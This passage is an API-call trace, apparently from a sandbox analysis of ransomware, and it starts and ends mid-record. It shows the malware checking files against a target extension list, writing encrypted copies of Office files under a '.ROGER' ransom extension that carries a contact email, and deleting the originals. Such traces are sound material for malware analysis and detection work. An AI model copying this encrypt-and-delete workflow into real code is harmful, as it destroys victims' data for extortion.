lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.725] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xf848a, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0059.725] WriteFile (in: hFile=0x3d8, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.730] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x2a8da0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0059.730] WriteFile (in: hFile=0x3d8, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.732] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5360048 | out: hHeap=0x790000) returned 1 [0059.732] CloseHandle (hObject=0x3d8) returned 1 [0059.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0059.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0059.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0059.733] lstrlenW (lpString=".doc") returned 4 [0059.733] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.733] lstrlenW (lpString=".docx") returned 5 [0059.733] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0059.733] lstrlenW (lpString=".pdf") returned 4 [0059.733] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.733] lstrlenW (lpString=".xls") returned 4 [0059.733] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.733] lstrlenW (lpString=".xlsx") returned 5 [0059.733] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0059.733] lstrlenW (lpString=".ppt") returned 4 [0059.733] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0059.733] lstrlenW (lpString=".zip") returned 4 [0059.733] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.733] lstrlenW (lpString=".rar") returned 4 [0059.733] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.733] lstrlenW (lpString=".bz2") returned 4 [0059.733] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.733] lstrlenW (lpString=".7z") returned 3 [0059.733] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0059.733] lstrlenW (lpString=".dbf") returned 4 [0059.733] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0059.733] lstrlenW (lpString=".1cd") returned 4 [0059.733] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0059.733] lstrlenW (lpString=".jpg") returned 4 [0059.733] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0059.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0059.733] lstrlenW (lpString=".doc") returned 4 [0059.734] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.734] lstrlenW (lpString=".docx") returned 5 [0059.734] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0059.734] lstrlenW (lpString=".pdf") returned 4 [0059.734] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.734] lstrlenW (lpString=".xls") returned 4 [0059.734] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.734] lstrlenW (lpString=".xlsx") returned 5 [0059.734] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0059.734] lstrlenW (lpString=".ppt") returned 4 [0059.734] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0059.734] lstrlenW (lpString=".zip") returned 4 [0059.734] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.734] lstrlenW (lpString=".rar") returned 4 [0059.734] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.734] lstrlenW (lpString=".bz2") returned 4 [0059.734] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.734] lstrlenW (lpString=".7z") returned 3 [0059.734] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0059.734] lstrlenW (lpString=".dbf") returned 4 [0059.734] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0059.734] lstrlenW (lpString=".1cd") returned 4 [0059.734] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0059.734] lstrlenW (lpString=".jpg") returned 4 [0059.734] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.734] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0059.735] lstrlenW (lpString="ACEWSS.DLL") returned 10 [0059.735] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0060.047] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=318368) returned 1 [0060.047] CloseHandle (hObject=0x3f8) returned 1 [0060.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll")) returned 0x20 [0060.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0060.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0060.048] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.048] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.048] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0060.048] GetLastError () returned 0x0 [0060.048] ReadFile (in: hFile=0x3f8, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x4dba0, lpOverlapped=0x0) returned 1 [0060.055] WriteFile (in: hFile=0x410, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0x4dbb0, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0x4dbb0, lpOverlapped=0x0) returned 1 [0060.060] ReadFile (in: hFile=0x3f8, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.060] WriteFile (in: hFile=0x410, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0060.060] SetEndOfFile (hFile=0x410) returned 1 [0060.061] CloseHandle (hObject=0x410) returned 1 [0060.061] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.061] SetEndOfFile (hFile=0x3f8) returned 1 [0060.064] CloseHandle (hObject=0x3f8) returned 1 [0060.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0060.064] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll")) returned 1 [0060.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0060.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0060.064] lstrlenW (lpString=".doc") returned 4 [0060.064] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.065] lstrlenW (lpString=".docx") returned 5 [0060.065] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0060.065] lstrlenW (lpString=".pdf") returned 4 [0060.065] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.065] lstrlenW (lpString=".xls") returned 4 [0060.065] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.065] lstrlenW (lpString=".xlsx") returned 5 [0060.065] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0060.065] lstrlenW (lpString=".ppt") returned 4 [0060.065] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0060.065] lstrlenW (lpString=".zip") returned 4 [0060.065] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.065] lstrlenW (lpString=".rar") returned 4 [0060.065] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.065] lstrlenW (lpString=".bz2") returned 4 [0060.065] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.065] lstrlenW (lpString=".7z") returned 3 [0060.065] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0060.065] lstrlenW (lpString=".dbf") returned 4 [0060.065] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0060.065] lstrlenW (lpString=".1cd") returned 4 [0060.065] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0060.065] lstrlenW (lpString=".jpg") returned 4 [0060.065] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0060.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0060.065] lstrlenW (lpString=".doc") returned 4 [0060.065] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.065] lstrlenW (lpString=".docx") returned 5 [0060.066] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0060.066] lstrlenW (lpString=".pdf") returned 4 [0060.066] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.066] lstrlenW (lpString=".xls") returned 4 [0060.066] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.066] lstrlenW (lpString=".xlsx") returned 5 [0060.066] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0060.066] lstrlenW (lpString=".ppt") returned 4 [0060.066] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0060.066] lstrlenW (lpString=".zip") returned 4 [0060.066] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.066] lstrlenW (lpString=".rar") returned 4 [0060.066] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.066] lstrlenW (lpString=".bz2") returned 4 [0060.066] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.066] lstrlenW (lpString=".7z") returned 3 [0060.066] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0060.067] lstrlenW (lpString=".dbf") returned 4 [0060.067] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0060.067] lstrlenW (lpString=".1cd") returned 4 [0060.067] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0060.067] lstrlenW (lpString=".jpg") returned 4 [0060.067] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.067] lstrcmpiW (lpString1=".ODF", lpString2=".ROGER") returned -1 [0060.067] lstrlenW (lpString="OFFICE.ODF") returned 10 [0060.067] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0060.067] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=4297568) returned 1 [0060.067] CloseHandle (hObject=0x410) returned 1 [0060.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf")) returned 0x20 [0060.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0060.067] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0060.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0060.070] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[admin@spacedatas.com].roger"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf")) returned 1 [0060.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0060.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0060.071] lstrlenW (lpString=".doc") returned 4 [0060.071] lstrcmpiW (lpString1=".doc", lpString2=".ODF") returned -1 [0060.071] lstrlenW (lpString=".docx") returned 5 [0060.071] lstrcmpiW (lpString1=".docx", lpString2="E.ODF") returned -1 [0060.071] lstrlenW (lpString=".pdf") returned 4 [0060.071] lstrcmpiW (lpString1=".pdf", lpString2=".ODF") returned 1 [0060.071] lstrlenW (lpString=".xls") returned 4 [0060.071] lstrcmpiW (lpString1=".xls", lpString2=".ODF") returned 1 [0060.071] lstrlenW (lpString=".xlsx") returned 5 [0060.071] lstrcmpiW (lpString1=".xlsx", lpString2="E.ODF") returned -1 [0060.071] lstrlenW (lpString=".ppt") returned 4 [0060.071] lstrcmpiW (lpString1=".ppt", lpString2=".ODF") returned 1 [0060.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0060.071] lstrlenW (lpString=".zip") returned 4 [0060.071] lstrcmpiW (lpString1=".zip", lpString2=".ODF") returned 1 [0060.071] lstrlenW (lpString=".rar") returned 4 [0060.071] lstrcmpiW (lpString1=".rar", lpString2=".ODF") returned 1 [0060.071] lstrlenW (lpString=".bz2") returned 4 [0060.071] lstrcmpiW (lpString1=".bz2", lpString2=".ODF") returned -1 [0060.071] lstrlenW (lpString=".7z") returned 3 [0060.071] lstrcmpiW (lpString1=".7z", lpString2="ODF") returned -1 [0060.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0060.071] lstrlenW (lpString=".dbf") returned 4 [0060.071] lstrcmpiW (lpString1=".dbf", lpString2=".ODF") returned -1 [0060.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0060.071] lstrlenW (lpString=".1cd") returned 4 [0060.071] lstrcmpiW (lpString1=".1cd", lpString2=".ODF") returned -1 [0060.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0060.071] lstrlenW (lpString=".jpg") returned 4 [0060.071] lstrcmpiW (lpString1=".jpg", lpString2=".ODF") returned -1 [0060.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0060.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0060.071] lstrlenW (lpString=".doc") returned 4 [0060.071] lstrcmpiW (lpString1=".doc", lpString2=".ODF") returned -1 [0060.071] lstrlenW (lpString=".docx") returned 5 [0060.072] lstrcmpiW (lpString1=".docx", lpString2="E.ODF") returned -1 [0060.072] lstrlenW (lpString=".pdf") returned 4 [0060.072] lstrcmpiW (lpString1=".pdf", lpString2=".ODF") returned 1 [0060.072] lstrlenW (lpString=".xls") returned 4 [0060.072] lstrcmpiW (lpString1=".xls", lpString2=".ODF") returned 1 [0060.072] lstrlenW (lpString=".xlsx") returned 5 [0060.072] lstrcmpiW (lpString1=".xlsx", lpString2="E.ODF") returned -1 [0060.072] lstrlenW (lpString=".ppt") returned 4 [0060.072] lstrcmpiW (lpString1=".ppt", lpString2=".ODF") returned 1 [0060.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0060.072] lstrlenW (lpString=".zip") returned 4 [0060.072] lstrcmpiW (lpString1=".zip", lpString2=".ODF") returned 1 [0060.072] lstrlenW (lpString=".rar") returned 4 [0060.072] lstrcmpiW (lpString1=".rar", lpString2=".ODF") returned 1 [0060.072] lstrlenW (lpString=".bz2") returned 4 [0060.072] lstrcmpiW (lpString1=".bz2", lpString2=".ODF") returned -1 [0060.072] lstrlenW (lpString=".7z") returned 3 [0060.072] lstrcmpiW (lpString1=".7z", lpString2="ODF") returned -1 [0060.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0060.072] lstrlenW (lpString=".dbf") returned 4 [0060.072] lstrcmpiW (lpString1=".dbf", lpString2=".ODF") returned -1 [0060.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0060.072] lstrlenW (lpString=".1cd") returned 4 [0060.072] lstrcmpiW (lpString1=".1cd", lpString2=".ODF") returned -1 [0060.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0060.072] lstrlenW (lpString=".jpg") returned 4 [0060.072] lstrcmpiW (lpString1=".jpg", lpString2=".ODF") returned -1 [0060.072] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0060.072] lstrlenW (lpString="EXPSRV.DLL") returned 10 [0060.072] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0060.073] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=518984) returned 1 [0060.073] CloseHandle (hObject=0x410) returned 1 [0060.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll")) returned 0x20 [0060.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0060.074] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0060.074] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.074] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.075] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0060.075] GetLastError () returned 0x0 [0060.075] ReadFile (in: hFile=0x410, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x7eb48, lpOverlapped=0x0) returned 1 [0060.086] WriteFile (in: hFile=0x358, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0x7eb50, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0x7eb50, lpOverlapped=0x0) returned 1 [0060.093] ReadFile (in: hFile=0x410, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.093] WriteFile (in: hFile=0x358, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0060.093] SetEndOfFile (hFile=0x358) returned 1 [0060.093] CloseHandle (hObject=0x358) returned 1 [0060.093] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.093] SetEndOfFile (hFile=0x410) returned 1 [0060.273] CloseHandle (hObject=0x410) returned 1 [0060.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0060.273] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll")) returned 1 [0060.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0060.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0060.273] lstrlenW (lpString=".doc") returned 4 [0060.273] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.273] lstrlenW (lpString=".docx") returned 5 [0060.273] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0060.273] lstrlenW (lpString=".pdf") returned 4 [0060.273] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.273] lstrlenW (lpString=".xls") returned 4 [0060.273] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.273] lstrlenW (lpString=".xlsx") returned 